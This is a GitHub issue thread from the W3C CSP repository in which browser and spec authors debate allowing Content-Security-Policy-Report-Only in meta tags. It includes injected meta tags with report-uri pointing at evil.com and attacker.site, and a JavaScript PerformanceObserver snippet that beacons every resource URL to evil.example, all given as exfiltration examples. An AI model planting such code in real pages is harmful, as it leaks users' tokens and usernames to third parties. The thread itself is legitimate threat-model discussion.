w3c / webappsec-csp

WebAppSec Content Security Policy
https://w3c.github.io/webappsec-csp/
Other
207 stars 78 forks source link

Allow CSP-Report-Only in meta tags. #277

Open ScottHelme opened 6 years ago

ScottHelme commented 6 years ago

The CSP 3 spec does not allow Content-Security-Policy-Report-Only headers in meta tags. This can prevent sites from safely testing CSP prior to enforcing the policy with a Content-Security-Policy meta tag.

I'd like to allow site operators who can only deploy CSP via meta tags the option to safely test their policy. Prime examples of this are GitHub pages and hosted platforms like Ghost.

I'm not sure why CSPRO is restricted from meta, can anyone provide the reason?

I'm working with many sites (via my CSP reporting service https://report-uri.com) that currently have exactly this issue so it'd be great to see if we can do something for them in the spec.

dhausknecht commented 6 years ago

Unfortunately I cannot find the discussion about it anymore from the early days of CSP. IIRC it was on the W3C WebAppSec mailing list(?). Anyway, the reason was as follows:

It is to mitigate the effects of HTML injection attacks and the abuse of CSP. That is if you can inject

<meta http-equiv="Content-Security-Policy" content="report-uri evil.com/reports">

it is invisible but you can use it as a data channel out. Even worse:

<meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'none'; report-uri evil.com/reports">

is invisible and sends out everything that is loaded. This becomes interesting for example when you have URLs like a.com/user/scotthelme/ or something.

Therefore report-uri was removed from <meta>. And CSPRO without report-uri does not make any sense, does it? It certainly does not eliminate the general problem of data exfiltration from a page. But it tries to at least not add yet another channel.

ScottHelme commented 6 years ago

CSPRO without the report-uri directive would still be useful because you can handle reporting yourself using the SecurityPolicyViolation event: https://github.com/w3c/webappsec-csp/issues/255

I can't see a downside to this, but that doesn't mean there isn't one! If the attacker can inject script to do this themselves then it's already game over. Is there a problem to enabling CSPRO in meta?

dhausknecht commented 6 years ago

good point! I completely forgot about it when responding. As I said, the arguments were made long time ago when no such event was ever thought of. This certainly does change the game...

@mikewest @andypaicu ping ping ping :-D

mikewest commented 6 years ago

As far as I can recall, the argument against putting reporting into <meta> boiled down to malicious injection, along the lines @dhausknecht notes above. default-src 'none'; report-uri https://attacker.site/ leaks the URL of ~every resource on the page, including interesting information like tokens or usernames, and does so without requiring script execution.

That said, I agree that firing a SecurityPolicyViolation event is significantly less risky than sending violation reports. There's probably not substantial risk in allowing something like the following inside <head>:

<meta
  http-equiv="Content-Security-Policy-Report-Only"
  content="[something that does not contain `report-uri`]">

+@dveditz, @andypaicu

andypaicu commented 6 years ago

When the decision was made the violation event was not on the table so the sole purpose of a CSPRO header was to send reports which meant that we could just blanket block CSPRO headers delivered in meta tags. Since we have events there is a use case for CSPRO headers in meta tags.

IIRC we currently ignore the report-uri directive for CSP headers in meta tags so we can do the same thing for CSPRO headers.

@ckerschb @dveditz - any objections to this?

arturjanc commented 6 years ago

FWIW I like this proposal as well -- it helps developers safely deploy CSP on static HTML pages (which in some cases can't set response headers and have to use <meta>) without requiring them to go directly to enforcing mode.

I can't think of a way this can be abused if setting CSPRO doesn't allow specifying report-uri; but perhaps, as a defense in depth, we could require that the CSPRO <meta> tag is a descendant of document.head? This way injections later on in the DOM would not be able to inject CSP and affect the behavior of the document. I believe some user agents might already enforce this restriction for <meta http-equiv="Content-Security-Policy"> so it shouldn't be a significant constraint for developers.

annevk commented 5 years ago

I noticed this rather late, but I really wish we'd stop with meta-element based policies. They are extremely brittle and create a ton of edge cases that are usually largely ignored and undertested.

dveditz commented 5 years ago

And yet lots of content is still hosted on services that don't give authors the ability to set HTTP headers (this site, for one example). No one likes it, but there's a reason they keep getting added to specs.

mikewest commented 5 years ago

I think we can drop <meta> if we do the work of creating an API to allow programmatic tightening of policy enforcement for a given document (perhaps along the lines of the not-even-half-completed sketch in https://w3c.github.io/webappsec-csp/api/?). Thus far, no one has been willing to spend the time to do that work (though @arturjanc asks for it every now and again).

In the absence of such an API, it doesn't seem unreasonable to give developers the ability to test out a policy via in-page events.

annevk commented 5 years ago

@dveditz as long as we provide solutions, there also won't be sufficient demand for GitHub et al to change.

An API has similar issues in that suddenly policies are mutable rather than known at the point of document creation and immutable for its lifetime.

mikewest commented 5 years ago

Mutable policies at runtime are a feature, not a bug. :)

koto commented 4 years ago

Just like Mike suggested, I think there's no risk in allowing report-only policies in <meta> tags, if only the reporting directives are then ignored. Not supporting report-only in meta still causes issues for developers wishing to tighten up their CSP safely, when they don't control headers.

dveditz commented 4 years ago

I think I'm on board with the usefulness of -Report-Only as long as it's only SecurityPolicyViolation events.

annevk commented 4 years ago

I'm still very much opposed per the rationale above. Coupled with the fact that we still haven't defined how (mutable) policies propagate it doesn't seem great to keep adding to that.

koto commented 4 years ago

Report-Only in meta tag solves a real issue for the developers - they can't effectively roll out CSP when the headers are not controlled (and in a surprising way). As long as meta headers continue to be supported - and have no alternatives in some web application deployment models - we should aim to make them helpful to the web developers.

Not supporting CSP-RO seems artificial, and unrelated to the discussion about the policy propagation, meta deprecation or policy delivery mechanism; CSP-RO support in meta does not change the propagation model - it behaves in the same way as <meta http-equiv="content-security-policy"> does. The platform still remains in control on whether, and when, to stop CSP support in <meta>, but that's a separate issue.

eligrey commented 4 years ago

Agreed @koto. I don't see why site owners can't be expected to secure their own generated <meta> CSPs. This limitation seems arbitrary.

eligrey commented 4 years ago

The following JS snippet leaks the URL of everything on the page without using CSP at all, and it doesn't break your website or require an HTML injection vulnerability in the <head> like these hypothetical <meta> CSP attacks:

new PerformanceObserver((events) => {
  events.getEntries().forEach(({ name: url }) => {
    navigator.sendBeacon(`//evil.example/${url}`);
  });
}).observe({
  entryTypes: ['resource', 'navigation', 'frame'],
});

The existing <head>-only limitation for <meta> CSPs seems like enough protection already to allow CSP-Report-Only in meta tags.

annevk commented 4 years ago

@koto not adding to an existing problem makes it very much related, in my opinion. Let's address that first before we keep adding technical debt to it.

koto commented 3 years ago

Is there a consensus though that <meta> support for CSP should be removed (and as such is a technical debt of CSP)? Is the only other alternative delivery mechanism the response header? There are existing environments in which the headers are not controlled, or are not easy to setup (for example, create-react-app doesn't support it out-of-the-box).

Wearing the security hat, the exfiltration via reports concern of CSP-RO in <meta> can be addressed as outlined earlier. And it wasn't the best resolution for the exfiltration risk. Report functionality should be blocked, and this got expanded unnecessarily to CSP-RO (CSP-RO is useful without reporting to a server - https://github.com/w3c/webappsec-csp/issues/277#issuecomment-354753432).

Wearing the author's hat who already spent tens of hours in multiple projects, figuring out how to make them add headers to unblock securing them, I don't think that a confusing asymmetry between CSP and CSP-RO making CSP adoption more difficult than it needs to be without a resolution in sight is a best place we can be in.

Practically, the deprecation of CSP in meta (whenever it comes to this) should not be that much difficult if CSP-RO was also supported. First, Chrome's telemetry shows that CSP is 10x CSP-RO. Sites use CSP-RO to transition for CSP, and if meta was deprecated, sites with CSP would definitely be in a difficult position way more than sites with CSP-RO. If the idea is to discourage CSP in meta usage, then it probably works, but I'm not sure if we should go a great way to put roadblocks for using security features in the platform.

annevk commented 3 years ago

Not being able to control response headers creates numerous security issues, e.g., XFO, CORP, and COOP. If you want to improve security of apps they will need to be able to control those aspects.

koto commented 3 years ago

I agree, but see a real value in mitigating injections (the most prevalent vulnerability type still) without addressing those other threats. There will always be instances where XSS is of a grave concern, whereas e.g. framing should be allowed. Headers (or other out-of-band delivery mechanisms) are very useful, but I don't agree their control should be a baseline for having a chance against XSS. Especially given the current situation of supporting meta CSP.

eligrey commented 3 years ago

@koto We ship a JS Consent Manager library with an optional feature that generates consent-derived runtime-created <meta> CSPs to help regulate subsequently-loaded scripts at https://transcend.io.

<meta> CSPs provide a non-zero benefit against injections in many scenarios and are currently in use serving as a tool to allow scripts to dynamically regulate the behavior of subsequently-loaded scripts based on consent-derived policies.

Is there a consensus though that support for CSP should be removed

This use case is not possible with server-side CSP without storing user sessions & consent on a backend. I would not want to see this feature removed from browsers.

Jack-Works commented 2 years ago

If the point here is to prevent information leaks via report-uri, I think we should at least allow report-to in meta tags. In my environment, I cannot set an HTTP header so it's impossible for me to adopt CSP safely.

I tried this:

<meta http-equiv="Content-Security-Policy-Report-Only" content="report-to name;">

and getting error

The report-only Content Security Policy 'report-to name;' was delivered via a element, which is disallowed. The policy has been ignored.

qabandi commented 1 year ago

I agree with supporting 'Content-Security-Policy-Report-Only' in meta tags found in the header and disallow setting 'report-to' and instead rely on the CSP violation event.

chrdek commented 10 months ago

In case this issue is still open for discussion, there is an alternative way of Reporting APIs wrapper functions of ReportingObserver. You can extend/write your own event-based reporting functionality without additional risk of adding tags with default urls etc. More info is found here at mdn official.

Note: Meta tags with report-to seem to work as of 2023 but require additional headers to function properly.

This can be easily used to log errors and browser crashes as well. let me know what you think.

lukewarlow commented 7 months ago

I'd like to add to the earlier calls for supporting report only mode within meta tags. Given since the original discussion many years ago nothing has been done to remove meta support for CSP I think the artificial limitation which blocks report only mode should be removed.

annevk commented 7 months ago

As I mentioned in https://github.com/w3c/webappsec-csp/issues/640#issuecomment-1906313907 I'm still very much opposed to increasing the number of mutable policies.

zcorpan commented 6 months ago

Agreed with @annevk. The Reporting API seems sufficient here.

chrdek commented 6 months ago

I'd like to add to the earlier calls for supporting report only mode within meta tags. Given since the original discussion many years ago nothing has been done to remove meta support for CSP I think the artificial limitation which blocks report only mode should be removed.

Hello, in case that 'report-to' meta tags are retrieved by web crawlers externally there could be a security or data-leak issue in my opinion. Isn't using chrome event observers easier and more preferable? let me know what you think.

lukewarlow commented 5 months ago

Doesn't that apply to enforcement mode as well as report only mode?

Xavier59 commented 2 months ago

I can confirm what @chrdek said.

From Chrome v126 (probably on earlier version too but I have only test on this one) you can use report-to in your CSP meta tag to refer to a url declared in a Report-To header. For example:

In this scenario, a CSP report is issued when trying to load an image.

It also work with the new Reporting-Endpoints header:

For people that do not have control over headers, this doesn't solve the problem (maybe mentionned Reporting API can ? I have not tried it). However, if you are looking for a solution to have your development team be able to directly update the CSP and also still get report for violation, this solution can be convient for you.

If you want to test locally: